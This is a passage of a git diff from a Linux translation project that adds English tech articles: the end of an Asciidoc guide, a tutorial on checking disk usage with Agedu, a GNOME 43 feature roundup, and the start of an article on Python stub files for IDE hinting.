              ` or Docbook `` tag. It seems obvious, and yet in academia separating paragraphs with blank lines isn't generally done, so even this simple convention is technically markup. + +Here's the most common syntax. + +#### Text styles + +Text styles include the basics such as bold, italics, and code font. Most of the notation is relatively intuitive, with the possible exception of italics. + +***Bold*** + +*_Italics_* + +**_Bold and italic_** + +``Monospace or code`` + +#### Code + +Code is marked with backticks or by explicit declaration of a code block. + +``Monospace or code`` + +``` +[source,python] +---- +print('a whole code block') +---- +``` + +#### Headlines + +Headings are marked with leading equal signs (`=` ): + += Heading 1 (`

              ` ) + +== Heading 2 (`

              ` ) + +=== Heading 3 (`

              ` ) + +==== Heading 4 (`

              ` ) + +===== Heading 5 (`

              ` ) + +====== Heading 6 (`
              ` ) + +#### Links + +Hyperlinks favor the link first, followed by the word or phrase used to "disguise" the link as text. + +This is a [http://example.com[hyperlink][4]] that leads to the example.com site. + +I don't find this as elegant as Markdown's link notation, but then it's a lot more flexible. For instance, you can add attributes in Asciidoc links: + +This is a [https://example.com[link,role=external,window=_blank][5]] with the `target="_blank"` attribute set. + +#### Lots more + +Asciidoc also features internal links so you can link from one section to another, a standard for document headers, automatic table of content generation, the ability to include other documents within another, and much much more. + +But best of all, Asciidoc is actually *standardized*. Not everyone knows it, but the term "Markdown" doesn't refer to one markup-light language. Different organizations and groups regularly customize and alter Markdown for their own use, so when you use Markdown you really ought to verify *which* markdown you're meant to use. Many of the conventions you might have learned from one website using Markdown don't carry over to another site using Markdown. There's essentially no standard for Markdown, and that's resulted in such confusion that the [Commonmark.org][6] project has been formed in an attempt to assemble a standardized definition. + +Asciidoc was designed from the start with a standard definition, so the tool or website that claims to parse Asciidoc actually does parse all valid Asciidoc, because there's only one valid Asciidoc. + +### Asciidoc to anything + +The point of writing in a markup-light language like Asciidoc is to ensure predictability and consistency when text is parsed. You want a person to write a script, or to run an application someone else has written, to be able to transform your plain text into whatever format works best for them. Sometimes that's HTML (incidentally Markdown's native output format, and fallback language when there's something missing from its own syntax.) Other times it's an EPUB, or a PDF for printing, Docbook, a LibreOffice document, or any number of possible output formats. + +There are several tools to help you transform Asciidoc to another format. A popular command is [Asciidoctor][7], which you can install using your package manager. For instance, on Fedora, CentOS, or RHEL: + +``` +$ sudo dnf install asciidoctor +``` + +On Debian-based systems: + +``` +$ sudo apt install asciidoctor +``` + +Alternately, you can install it on any OS with Ruby: + +``` +$ gem install asciidoctor +``` + +Here's a simple example of an Asciidoc document, which you can create using any or even a word processor (like ) as long as you save the file as plain text. Most applications expect a plain text document to use the extension `.txt`, and while it's a convention use the extension `.adoc` for Asciidoc, it's not necessary. Asciidoctor doesn't require any special extension. + +``` += This is my example document + +It's not written in _Markdown_, nor _reStructured Text_. +This is *Asciidoc*. + +It can be transformed into nearly any format using the tool `Asciidoctor` and other similar parsers. +Try it for yourself! +``` + +To transform an Asciidoc document to HTML, run `asciidoctor` : + +``` +$ asciidoctor example.adoc +``` + +The file `example.adoc` is transformed into HTML5 by default, but you can use different backends to gain access to more formats. + +### From Asciidoc to XML + +My favourite is the Docbook backend, because it transforms my Asciidoc to Docbook XML, allowing me to use my existing Docbook toolchain (custom Makefiles, Apache FOP, `xsltproc`, `xmlto`, and so on) to complete my work: + +``` +$ asciidoctor --backend docbook5 example.adoc +``` + +This outputs Docbook XML. The final two built-in backends are `xhtml5` and `manpage`. + +### From Asciidoc to EPUB + +If you want to turn your writing into an ebook, you can install the EPUB3 backend: + +``` +$ gem install asciidoctor-epub3 +``` + +Transform your Asciidoc into EPUB: + +``` +$ asciidoctor-epub3 example.adoc +``` + +### From Asciidoc to PDF + +You can transform Asciidoc directly to PDF, too: + +``` +$ gem install asciidoctor-pdf +$ asciidoctor-pdf example.adoc +``` + +![Asciidoctor-pdf][8] + +Image by: + +(Seth Kenlon, CC BY-SA 4.0) + +### Who should use Asciidoc + +Asciidoc is excellent for technical writers and writers who have precise requirements for how they want text to be organized and parsed. It's a clear and strictly defined markup format that eliminates the confusion of competing Markdown formats, and it transforms to all the major formats. Asciidoc is admittedly more verbose and possibly less intuitive than Markdown, but it's still just plain text so you can author on anything, and Asciidoctor makes processing easy. Next time you write a document for any purpose, consider trying Asciidoc. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/drop-markdown-asciidoc + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/laptop_screen_desk_work_chat_text.png +[2]: https://opensource.com/article/17/9/docbook +[3]: http://asciidoc.org +[4]: http://example.com[hyperlink +[5]: https://example.com[link,role=external,window=_blank +[6]: http://commonmark.org +[7]: https://asciidoctor.org +[8]: https://opensource.com/sites/default/files/2022-08/asciidoc-pdf.webp diff --git a/sources/tech/20220816 Check Disk Space Using Agedu In Linux.md b/sources/tech/20220816 Check Disk Space Using Agedu In Linux.md new file mode 100644 index 0000000000..c24dec3cbc --- /dev/null +++ b/sources/tech/20220816 Check Disk Space Using Agedu In Linux.md @@ -0,0 +1,347 @@ +[#]: subject: "Check Disk Space Using Agedu In Linux" +[#]: via: "https://ostechnix.com/agedu-find-out-wasted-disk-space-in-linux/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Check Disk Space Using Agedu In Linux +====== +Find Wasted Disk Space With Agedu + +Running out of disk space? It is time to find out which directories and files are occupying the most disk space. Fortunately, checking Linux disk space is made easier with **Agedu** utility. This guide explains **what is Agedu**, how to install Agedu, and how to **check disk space** in Linux and **find wasted disk space using Agedu**. + +### What Is Agedu? + +**Agedu** is a command line utility that tracks down the wasted disk space in your Linux system. Agedu works just like as [du command][1]. It scans your hard disk and displays the disk usage result in the Terminal window. + +Agedu has a built-in web server, so we can display the result as a neatly organized HTML report in different colors in our web browser. + +It distinguishes the data in different colors. The red color represents the data that has been accessed a long time ago, Green represents the recently accessed data, and the spectrum through orange and yellow represents points in between. + +By analyzing the colored output, we can immediately get a grasp of which directories and files have been used frequently and which data have been stagnated. + +Once we find out the stagnated data, we can simply delete them if they are no longer needed or move them safely to an archive medium to free up some disk space. + +Agedu has both CLI and web-based interface. You can view the disk usage report either from the Terminal window or from a web browser. + +Agedu is a cross-platform utility. It works on Linux, Unix and Windows operating systems. It is an open source program and is released under MIT license. + +Let us go ahead and see how to use agedu to find wasted disk space in Linux with practical examples. + +### Install Agedu in Linux + +Agedu is packaged for popular Linux distributions and is available in the default repositories of some Linux versions. + +**Install Agedu in Arch Linux:** + +Agedu is available in AUR, so you can install it on Arch Linux, EndeavourOS and Manjaro Linux an **AUR** helper programs, such as [Paru][2] or [Yay][3]. + +``` +$ paru -S agedu +``` + +Or, + +``` +$ yay -S agedu +``` + +**Install Agedu in Debian, Ubuntu, Linux Mint, Pop OS:** + +Agedu is available in the default repositories of Debian-based systems like Ubuntu, Linux Mint, and Pop OS. To install Agedu in Debian and Ubuntu, run: + +``` +$ sudo apt install agedu +``` + +**Install Agedu in Fedora, RHEL and its clones:** + +On RPM based distributions like Fedora, RHEL, CentOS, AlmaLinux, Rocky Linux, add **[EPEL]** repository using command: + +``` +$ sudo dnf install epel-release +``` + +And then, install agedu as shown below. + +``` +$ sudo dnf install agedu +``` + +On older RPM-based systems, replace `dnf` with `yum` in the above commands. + +### Check Disk Space With Agedu In Linux + +The usage of agedu utility is trivial. The syntax of agedu is: + +``` +agedu [ options ] action [action...] +``` + +Let us see some examples. + +Open the Terminal and run the following command to scan $HOME directory. + +``` +$ agedu -s /home/ostechnix/ +``` + +**Sample output:** + +``` +Built pathname index, 6731 entries, 684647 bytes of index +Faking directory atimes +Building index +Final index file size = 1475496 bytes +``` + +![Scan A Directory With Agedu In Linux][4] + +This command will create data index file called "`agedu.dat` " in the current working directory. + +#### View Linux Disk Space Usage Reports With Agedu + +To query the disk space report from the index file which we created in the previous step, run: + +``` +$ agedu -t /home/ostechnix/ +``` + +**Sample output:** + +``` +30288 /home/ostechnix/.cache +6804 /home/ostechnix/.config +3875876 /home/ostechnix/.docker +40 /home/ostechnix/.gnupg +864 /home/ostechnix/.local +12 /home/ostechnix/.password-store +76 /home/ostechnix/.pki +512 /home/ostechnix/Downloads +604 /home/ostechnix/descent +5844 /home/ostechnix/dotfile +39076 /home/ostechnix/grub2-themes +335188 /home/ostechnix/snap +4684516 /home/ostechnix +``` + +Let us narrow down the report more specifically. Say for example, to list the files which are not viewed or accessed for last 2 days and more, run: + +``` +$ agedu -t /home/ostechnix/ -a 2d +``` + +**Sample output:** + +``` +15216 /home/ostechnix/.cache +5740 /home/ostechnix/.config +51052 /home/ostechnix/.docker +40 /home/ostechnix/.gnupg +328 /home/ostechnix/.local +12 /home/ostechnix/.password-store +512 /home/ostechnix/Downloads +604 /home/ostechnix/descent +5844 /home/ostechnix/dotfile +39076 /home/ostechnix/grub2-themes +335028 /home/ostechnix/snap +842756 /home/ostechnix +``` + +Similarly, just replace letter **"d"** with **"w"**for**weeks, "m"**for**months, "y"**for**years**. + +For instance, you can view the files which are not accessed for the past two weeks using this command: + +``` +$ agedu -t /home/ostechnix/ -a 2w +``` + +#### Get Disk Space Reports Of Particular File Types + +Agedu offers many useful options to track down the disk usage. One among them is view reports of a particular file type. + +For example, let us generate the report of txt files using command: + +``` +$ agedu -s . --exclude '*' --include '*.txt' +``` + +**Sample output:** + +``` +Built pathname index, 714 entries, 59257 bytes of index +Faking directory atimes +Building index +Final index file size = 189056 bytes +``` + +The above command will scan the disk usage taken only by the .txt files and excludes all other files in the current directory. + +Likewise, to scan a particular path, just specify it as shown below. + +``` +$ sudo agedu -s /home/ostechnix/Downloads --exclude '*' --include '*.txt' +``` + +To view the report, run: + +``` +$ sudo agedu -t /home/ostechnix/Downloads +``` + +#### View Disk Space Usage Reports In Web Browser + +To generate HTML report and view it on the web browser, run: + +``` +$ agedu -w --auth none +``` + +You can use just **"sudo agedu -w"**, however **"--auth none"** option will eliminate the 403 forbidden error. + +**Sample output:** + +``` +URL: http://localhost:33239/ +``` + +The HTML report of disk usage has been generated. Let us take a look at it. Open up your web browser and point it to **http://localhost:33239** or **http://IP-Address:33239**. Please note that different port number will be generated each time you run this command. + +![View Disk Space Report Using Agedu In Web Browser][5] + +Click on any directory to view its sub directories disk usage. + +![View Disk Space Report Of Sub-directories Using Agedu In Web Browser][6] + +As you see above, the most used disk space is showed on the top followed by subsequent smaller results. To exit Agedu, go back to the Terminal window where the Agedu is running and press **CTRL+D**. + +Once you find out data which are no longer used for a long time, you can just delete them or move them to any external medium. + +#### Configure Password Authentication For Agedu Web Interface + +Agedu web interface doesn't has authentication by default. However, It has an option to allow us to enable password protection to view the reports in web browser. + +Enter the following command to generate a password to access agedu's web interface. + +``` +$ agedu -w --address localhost:46484 --auth basic +``` + +This command will automatically create a username with password as shown in the output below. Please note down the username and password. + +``` +Username: agedu +Password: 29tj42tdtgrgpa3y +URL: http://localhost:46484/ +``` + +Now, open your web browser and point it to **http://locahost:46484**. This time it will ask you to enter the username and its password. + +![Configure Password Authentication For Agedu Web Interface][7] + +Once you entered the valid username and its password, you can access the agedu web interface. + +#### Define Custom Username And Password + +I don't like the default username and password. I want to define my own. Can I be able to do that? Of course you can. + +To set a custom username with password, run: + +``` +$ agedu -w --address locahost:46484 --auth basic --auth-fd 0 +``` + +Next, enter your custom user and its password as shown below. + +``` +ostechnix:password +``` + +Here **ostechnix** is my username and its password is **password**. It's just an example. I recommend you to use a strong password. + +And then, press `CTRL+D` to exit and return back to Terminal. + +From now, you can access the agedu's web interface using your custom username and password. + +#### Remove Index Files + +After deleting the unused files/directories, remove the index file generated by agedu: + +``` +$ agedu -R +``` + +You can also combine `-w` and `-R` options to view the disk space report and delete the index file after viewing the report like below. + +``` +$ agedu -s /home/ostechnix -w -R +``` + +The above command scans the HOME directory, builds its index, serves disk report via web browser, and cleans it up once you close the browser window. + +#### Set Custom Port For Agedu + +As you see before, agedu serves the result via different random ports each time. You can set a particular port of your liking if you want to. + +To set a port for agedu, run: + +``` +$ agedu -w --address localhost:1234 --auth none +``` + +Here, 1234 is the custom port. Replace it with your own. + +**Sample output:** + +``` +URL: http://localhost:1234/ +``` + +Or just specify the actual IP address. + +``` +$ sudo agedu -w --address 192.168.1.40:1234 +``` + +Now, you can view the report by visiting the URL - **http://localhost:1234** or **http://192.168.1.40:1234** from your browser. + +To exit Agedu, go the terminal where Agedu is running and press **CTRL+D**. + +For more details, refer Agedu manual page. + +``` +$ man agedu +``` + +### Conclusion + +Checking Linux disk space once in a while will help you to clean up unnecessary junk in your hard drive. With the help of Agedu, we can easily check disk space in Linux and track down the wasted disk space and finally remove them if they no longer needed. + +**Resource:** + +* [Agedu home page][8] + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/agedu-find-out-wasted-disk-space-in-linux/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/find-size-directory-linux/ +[2]: https://ostechnix.com/how-to-install-paru-aur-helper-in-arch-linux/ +[3]: https://ostechnix.com/yay-found-yet-another-reliable-aur-helper/ +[4]: https://ostechnix.com/wp-content/uploads/2022/08/Find-Wasted-Disk-Space-With-Agedu-In-Linux.png +[5]: https://ostechnix.com/wp-content/uploads/2022/08/View-Disk-Space-Report-Using-Agedu-In-Web-Browser.png +[6]: https://ostechnix.com/wp-content/uploads/2022/08/View-Disk-Space-Report-Of-Sub-directories-Using-Agedu-In-Web-Browser.png +[7]: https://ostechnix.com/wp-content/uploads/2022/08/Configure-Password-Authentication-For-Agedu-Web-Interface.png +[8]: http://www.chiark.greenend.org.uk/~sgtatham/agedu/ diff --git a/sources/tech/20220817 GNOME 43- Top New Features and Release Wiki.md b/sources/tech/20220817 GNOME 43- Top New Features and Release Wiki.md new file mode 100644 index 0000000000..2dea6f50be --- /dev/null +++ b/sources/tech/20220817 GNOME 43- Top New Features and Release Wiki.md @@ -0,0 +1,211 @@ +[#]: subject: "GNOME 43: Top New Features and Release Wiki" +[#]: via: "https://www.debugpoint.com/gnome-43/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +GNOME 43: Top New Features and Release Wiki +====== +An extensive feature analysis of the GNOME 43 desktop environment bringing impactful changes to your day-to-day needs and workflow. + +![GNOME 43 Running via GNOME OS][1] + +This article summarises all necessary information about GNOME 43, including features, release schedule and more. The GNOME 43 release (upcoming) is probably the most impactful release since the GNOME 40 in terms of the features and their impact on your workflow. + +The feature includes updated and faster Shell performance, wrapping up GTK4 and libadwaita conversion, renovated Files and fantastic Web changes. + +All these necessary changes were long overdue and will change your traditional workflow in the GNOME desktop to make you more productive. + +### Schedule + +The BETA is out. The release candidate is expected on September 3rd, 2022. GNOME 43 finally releases on September 21, 2022. + +* GNOME 43 Beta: August 31, 2022 (Complete) +* GNOME 43 RC: September 3, 2022 +* GNOME 43 final release: September 21, 2022 + +### GNOME 43: The Features + +#### 1. Core Shell Changes + +* Finally, the high-resolution scroll wheel support lands in GNOME thanks to recent work in Wayland. So, if you have a high-resolution display, scrolling with an advanced mouse (such as Logitech MX Master 3) should be a treat for you. +* In addition to the above, the direct scanout support in GNOME 43 will help with multi-monitor setup situations. +* The server-side decorations get essential colour support. +* Shell also implemented a feature where the notifications get away when the focus changes, and it doesn’t wait for the timeout. +* Like every release, you experience better animation performance across the desktop, improved grid and overview navigation and critical updates, which gives you a seamless experience. + +So, that are the key summaries of the core changes. Now, let’s talk about the Quick settings. + +#### 2. New Quick Settings Menu + +The quick settings in the system tray are entirely changed. The quick settings items and menus now feature pill-shaped toggle buttons with vibrant colours to show what is happening in your system. The menu is also dynamic and makes way for cascading menu items. In addition, you can choose the audio devices in the quick settings. + +Here’s a quick demo, and for additional screenshots and write-up – read our exclusive coverage: [GNOME 43 Quick settings][2]. + +![Quick Settings Demo in GNOME 43][3] + +#### 3. Files + +GNOME Files gets the most features in GNOME 43 release. The list of improvements in this application is enormous. The file manager is the most used app in any desktop environment. Hence the changes in Files are the most impactful across the user base. + +For the first time, Files with GTK4 arrive (it was not ready during GNOME 42 release), and it will change your workflow for good. + +I will try to explain most of them in a brief list. Otherwise, this will be a lengthy post. I will push out another separate article on the File features. + +##### Adaptive sidebar + +So the sidebar of Files which gives you access to navigations, favourites, network drives, etc. – is not responsive. And it [autohides][4] itself when Files window size reaches a point. A familiar and handy feature if you work with many open windows and have smaller displays. + +Another exciting feature is that when the sidebar is wholly hidden, an icon appears at the left top for you to make it visible. + +![Files 43 with autohide sidebar][5] + +##### Emblems + +We had the emblems in GNOME long back, and they went away. So, Emblems make a comeback with GNOME 43 with small icons beside the files and directories. These icons imply the type, such as symbolic link, read-only, etc. Moreover, the icons change their colour based on your theme, and multiple emblems are also available for a single file. + +![Emblems in GNOME 43][6] + +##### Rubberband Selection + +Next up is the much-awaited rubberband selection feature, which [finally arrived][7]. Now you can select the files and folders by drag-selection mechanism. One of the most requested features from the users. + +![Rubberband Selection Feature][8] + +##### GtkColumnView replacing GtkTreeView + +When you mouse over the items in the column view, you see a focused row which is another critical feature of Files in GNOME 43. But the [tree view could not make it][9] and probably planned for the next iteration. + +![GtkColumnView enables row focus][10] + +##### Redesigned properties window with interactive permission and executable detection + +The properties window is [wholly changed][11], thanks to the adaptation of GTK4. The window is now much cleaner and well-designed, showing essential items only when required. + +Furthermore, the properties dialog can determine the file type and provide suitable options. For example, if you view the properties of a shell script or text file, you will get an option to make it executable. In contrast, the properties of an image file do not give you an executable option. + +![Intelligent properties window][12] + +**Tabbed View improvements** + +The tabbed view of Files gets some [additional updates][13]. The most noteworthy ones are the proper focus when dragging a file to tag, the creation of tabs after the current focussed tab and so on. + +**Redesigned Right-click menu** + +The primary right-click context menu on files or folders is restricted. Firstly, the OPEN option is clubbed under a submenu. Secondly, the copy/paste/cut options are consolidated in a group. And finally, the Trash, Rename and Compress options are grouped. + +In addition, the Open in terminal option is available for all files and folders. However, create a new file option is still missing (which I expected in this release). + +![Various Context Menu][14] + +##### Other changes in Files + +Other prominent changes in Files are the Trash icon, and other locations (network drive, disk) gets the properties option in right-click context menu. + +Finally, the Files preference window was revamped to show you more essential items. The redesign makes it easy for the average user to find the proper Files settings. + +#### 4. Web + +Let’s spare some moments to talk about our beloved Epiphany, a.k.a. GNOME Web, the WebKit-based native web browser for the GNOME desktop. + +The updates were long overdue and finally started landing from this release onwards. + +First and foremost, GNOME Web now supports WebExtension API. It lets you download and install the Firefox and Google Chrome extensions inside the Web. Here’s how you can do it. + +* Download any extension file (xpi or crx file) from Firefox Add-on or Google Chrome extension page. +* Click on the hamburger menu and select Extensions. +* Finally, click add to install them. + +WebExtension support is a crucial step for making the Web usable soon. + +Secondly, the Firefox Sync option is available, which lets you log in to the Web via a Firefox account to sync bookmarks and other browser items. + +![Login to the Web using a Firefox account][15] + +Other noteworthy changes in the Web include support for “view source”, GTK4 porting work and an updated PDF library (PDF.js 2.13.216). + +One of the critical components which are still missing in Web is the [WebRTC support via GStreamer][16]. Once that feature arrives, it will be a decent browser for daily usage. + +Hopefully, one day, we all have a decent alternative browser which is non-Firefox or non-Chromium. + +#### 5. Settings + +In the settings window, mostly improvements and visual fine-tuning arrive in this release. The important change includes the “Dog Bark” sound in Alert is gone now after a long and [interesting conversation][17]. + +In addition, a new device security panel is introduced, and the TImezone map in the Date & Time panel is revamped. + +The settings sidebar is also responsive and gives you autohide features like the Files shown above. + +#### 6. Software + +Two crucial changes are coming to GNOME Software. These changes enable you to view more information on a single page for any application. + +Firstly, a new section, “Other apps by Author”, gives you a list of apps by the author of the current app. This helps in discovery and tells you how popular the creator is. + +Secondly, GNOME 43 Software now provides you with a detailed list of permission required by the Flatpak apps in a separate window. Hence, you can verify the app before you install them. + +Another crucial visual change is a new “Available for Fedora/any distro” section on the application main overview page, which requires configuration. + +![Other APPS by developer section in Software][18] + +#### 7. Climate Change Wallpaper + +I am not sure whether this feature landed. Because I could not find it, but I heard about it. So, I though I should mention it here. + +The feature is that GNOME 43 brings a background wallpaper showing how the global temperature has risen over the decades from [ocean stripes][19]. The wallpaper contains vertical colour-coded bars denoting low and high temperatures. I think it’s a nice touch and an effort to raise awareness. Here’s the [commit][20] in GitLab. + +In addition, a couple of new [“days and nights”][21] fresh wallpapers are available. + +That’s all about the essential changes I could find and summarise here. Besides those, a vast list of bug fixes, performance improvements and code clean up lands in GNOME 43. + +Fedora 37 will feature GNOME 43 when released, and some parts of it should be in Ubuntu 22.10, due in October. + +### Wrapping Up + +GNOME 43 is an iconic release because it changes several basic designs and impacts millions of users’ workflow. The quick settings transformation is fantastic and long overdue. In addition, the necessary changes in Files, Web and Settings will improve your productivity. + +Furthermore, the new features arrive while keeping the design guideline and aesthetics in mind. A good user interface requires a well-thought-out process, and the devs did a perfect job in this release. + +So, that’s pretty much it. That’s GNOME 43 for you. Let me know if you plan to get this update and want to hop from KDE to GNOME! + +Do let me know your favourite feature in the comment section below. + +Cheers. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/gnome-43/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/08/GNOME-43-Running-via-GNOME-OS.jpg +[2]: https://www.debugpoint.com/gnome-43-quick-settings/ +[3]: https://www.debugpoint.com/?attachment_id=10682 +[4]: https://gitlab.gnome.org/GNOME/nautilus/-/merge_requests/877 +[5]: https://www.debugpoint.com/?attachment_id=10684 +[6]: https://www.debugpoint.com/?attachment_id=10685 +[7]: https://gitlab.gnome.org/GNOME/nautilus/-/merge_requests/817 +[8]: https://www.debugpoint.com/wp-content/uploads/2022/08/Rubberband-Selection-Feature.gif +[9]: https://gitlab.gnome.org/GNOME/nautilus/-/merge_requests/817 +[10]: https://www.debugpoint.com/wp-content/uploads/2022/08/GtkColumnView-enables-row-focus.gif +[11]: https://gitlab.gnome.org/GNOME/nautilus/-/merge_requests/745 +[12]: https://www.debugpoint.com/wp-content/uploads/2022/08/Intelligent-properties-window.jpg +[13]: https://gitlab.gnome.org/GNOME/nautilus/-/merge_requests/595 +[14]: https://www.debugpoint.com/?attachment_id=10689 +[15]: https://www.debugpoint.com/wp-content/uploads/2022/08/Login-to-Web-using-Firefox-account.jpg +[16]: https://twitter.com/_philn_/status/1490391956970684422 +[17]: https://discourse.gnome.org/t/dog-barking-error-message-sound/9529/2 +[18]: https://www.debugpoint.com/wp-content/uploads/2022/08/Other-APPS-by-developer-section-in-Software.jpg +[19]: https://showyourstripes.info/s/globe/ +[20]: https://gitlab.gnome.org/GNOME/gnome-backgrounds/-/commit/a142d5c88702112fae3b64a6d90d10488150d8c1 +[21]: https://www.debugpoint.com/custom-light-dark-wallpaper-gnome/ diff --git a/sources/tech/20220817 How to Iron Out IDE Issues with Auto Stub Generation.md b/sources/tech/20220817 How to Iron Out IDE Issues with Auto Stub Generation.md new file mode 100644 index 0000000000..2e7a44f4c0 --- /dev/null +++ b/sources/tech/20220817 How to Iron Out IDE Issues with Auto Stub Generation.md @@ -0,0 +1,168 @@ +[#]: subject: "How to Iron Out IDE Issues with Auto Stub Generation" +[#]: via: "https://www.opensourceforu.com/2022/08/how-to-iron-out-ide-issues-with-auto-stub-generation/" +[#]: author: "Vladimir Losev https://www.opensourceforu.com/author/vladimir-losev/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How to Iron Out IDE Issues with Auto Stub Generation +====== +*Automatic stub generation can significantly improve code analysis. Read on to find out why you should consider this, and how to go about it.* + +A good project takes a desired shape only due to the rigorous effort and time that developers put into it. But all this effort can go straight down the drain if the key components that are essential for development present any problems. During the development of the Toloka-Kit library at Toloka, the team encountered a wide range of such issues with integrated development environment (IDE) support. This article will help you understand the issues faced and how these were dealt with, so you can cross similar hurdles easily. +To put things into perspective, let us first understand what IDE hinting is. + +### IDE hinting + +Let us say we want to implement a module called sleepy (Figure 1). This sleepy module will contain a sleep_for function between the standard library and time sleep function. Our sleep_for function will accept a time unit, so we will be able to make it sleep for different time periods, say half an hour, a day, or maybe even for weeks. + +![Figure 1: Sleepy module in IDE][1] + +The team at Toloka implemented this module, and we saw that if we used the script_for function anywhere in our code, then the IDE showed us the signature. Upon trying to print the argument name it got autocompleted. If for some reason we passed an argument that was not expected in the signature, then the IDE highlighted this argument and we would see that we were doing something wrong before running the code. + +Let us write a simple decorator called log_function_call, as shown in Figure 2. This function does exactly what the name suggests. It will write a line of code in the login stream every time we run the function, and every time the function is complete we will write another message to our login form. + +![Figure 2: A simple decorator][2] + +Now, if we configure our login and run our sleeper function, we can see that everything works just fine (Figure 3). We can clearly see these lines of code. If we start to use this function in our code, we can see that neither do we have the signature highlighted any longer nor are the arguments autocompleted. If we pass an argument that shouldn’t be there, it is not highlighted and IDE does not indicate that we are doing something wrong. + +![Figure 3: Function output][3] + +“What are the reasons for this?” you may ask. Technically, it seems perfectly fine behaviour because decorators are substituting one function for another. Here, we defined a function called ‘wrapper’ and substituted our original function with the wrapper function. Upon importing the inspect module, when we used the inspect.signature function to just view the signature, we could see that the signature is still there (Figure 4). + +![Figure 4: Screen with signature][4] + +The trick is that functools.wrap actually preserves the signature in a specific attribute and it is there at runtime. And that begs the question: “Why could our IDE not pick the information up?” + +### Static code analysis + +The reason for this is exactly what has been mentioned above. The information about the original signature is stored in an attribute and is available at runtime. But IDE does not run our code. Instead, it uses static code analysis; so it does not have access to runtime objects and there are plenty of reasons for that. + +* Side effects: If you are running the code without proper knowledge of it, you may end up damaging your hard drive. +* Code may raise an exception or run for an infinite time: There could also be an exception in the code that can be raised while it’s being run. +* Syntactically incorrect code: The code may not be syntactically correct code. +In static code analysis, IDEs understand the code itself without actually running it, which is a much more difficult task to accomplish. + +### So what can we do? + +Generally, it is the best practice to provide the IDE with as much information as possible in the code itself. But in this particular case, this is what can be done. Figure 5 shows what our original decorator looked like; we can provide additional information in the form of typing. We can tell our IDE that the log function call is accepting and returning something of the same type. In our case, if the log_function_call accepts a function with some signature, then it should return the function with the same signature. + +Let us see how this works. If we start typing the argument name, we can see that there is a pop-up window above, which lists the whole signature (Figure 5). So actually the information about the signature is in our IDE but is not used to the fullest extent for some reason. The same is happening with the additional argument. The reason it does not highlight anything is due to some minor bug. + +![Figure 5: Pop-up window with list][5] + +Even a simple decorator can confuse IDE hinting, but in real life we may want to implement some more difficult decorators that we would not be able to annotate properly to help IDE to cope with this. + +Let us go back to our sleeping module for a second, and say that we got some feedback from our users to ensure our function is good. The users do not want to import time units every time we use the module. They want to be able to use both TimeUnit enum and the string literal. So, we write another decorator called autoenum, which will take the function, analyse the signature, and pick the arguments that are annotated as enum types. For those particular arguments, we will try to cast all the arguments that pass to the enum value. The code will look something like what is shown in Figure 6. + +![Figure 6: The code][6] + +The process is quite complicated, but let us go through it. First, we take the original signature of our function. Next, we bind our arbitrary arguments args and kwargs to the original signature in order to understand which values are passed to which argument name. Then we traverse the pairs of argument names and values passed to this argument. In case the argument was annotated as enum in the original signature, and if for some reason the value passed to this argument is not an enum, then we can assign a new argument, which is an argument annotation of original value. It takes an enum class and creates an enum instance from a string with a row name. + +There is a big chunk of code that preserves the signatures. If we want our new function to accept both enums and string literals, then we must update the annotations so that every enum annotation is replaced with a union of enums and some string literals. We can recreate a signature object and assign it to a signature attribute. + +![Figure 7: Updated IDE][7] + +In Figure 7, we can see that our IDE highlights the MINUTE string as an invalid argument, but if we run the code we can see that both versions of our code, i.e., the one with the time unit and the one with the string, are actually working. And when we try to get the output from the signature, we can see that this signature is actually updated. + +As a unit we should be able to pass both the sleepy time unit, which is an enum, or one of the following with literal seconds, minutes, hours, days or weeks. For some reason, IDE does not take this and we know why. + +In this particular case the code is so complicated that it is quite tough to understand which signature should be deduced from it without running it, because it is then almost equivalent to actually running the code. This is a very difficult problem, and we cannot think of annotations that will simplify the work for our IDE. + +This is why stub files are proposed. + +### What are stub files? + +Stub files are special files containing PEP-84. The main purpose of these files is to hold the typing information for modules. They are just Python files with the extension ‘pyi’. If an IDE finds a corresponding stub file for a module, it will analyse the stub file instead of the original file for syntax highlighting. + +*What to add to stub files* + +* Public members definitions +* Annotations +* Docstrings +* Final function signatures without decorators +* Constants where possible (otherwise use `…` instead) +* Necessary import + +*What can be omitted?* + +* Private members +* Decorators +* Function implementations (use docstring, `…` or pass) + +Now we have PEP-561, which says that any package maintainer that wants to support stub files has to put a marker file named py.typed in the package. We create an empty file called py.typed. This is an indicator for the static analytics tool for our IDE that it should look for the stub files in the package. Let’s see what happens to our IDE hinting after we add a py.typed empty file. + +We can once again see the signature and the autocomplete. We typed an argument that is not there and it is still highlighted. If we pass a string instead of the Timeunit.num, you can see it is not highlighted as an error in Figure 8. But there is still a problem. The reason for using all those decorators was to eliminate the boilerplate so that our coding process could be simplified and there would be no need to write a new piece of code every time. We could put this logic to decorators, but to support the IDE correctly we need to maintain stub files all by ourselves. This is a huge burden and 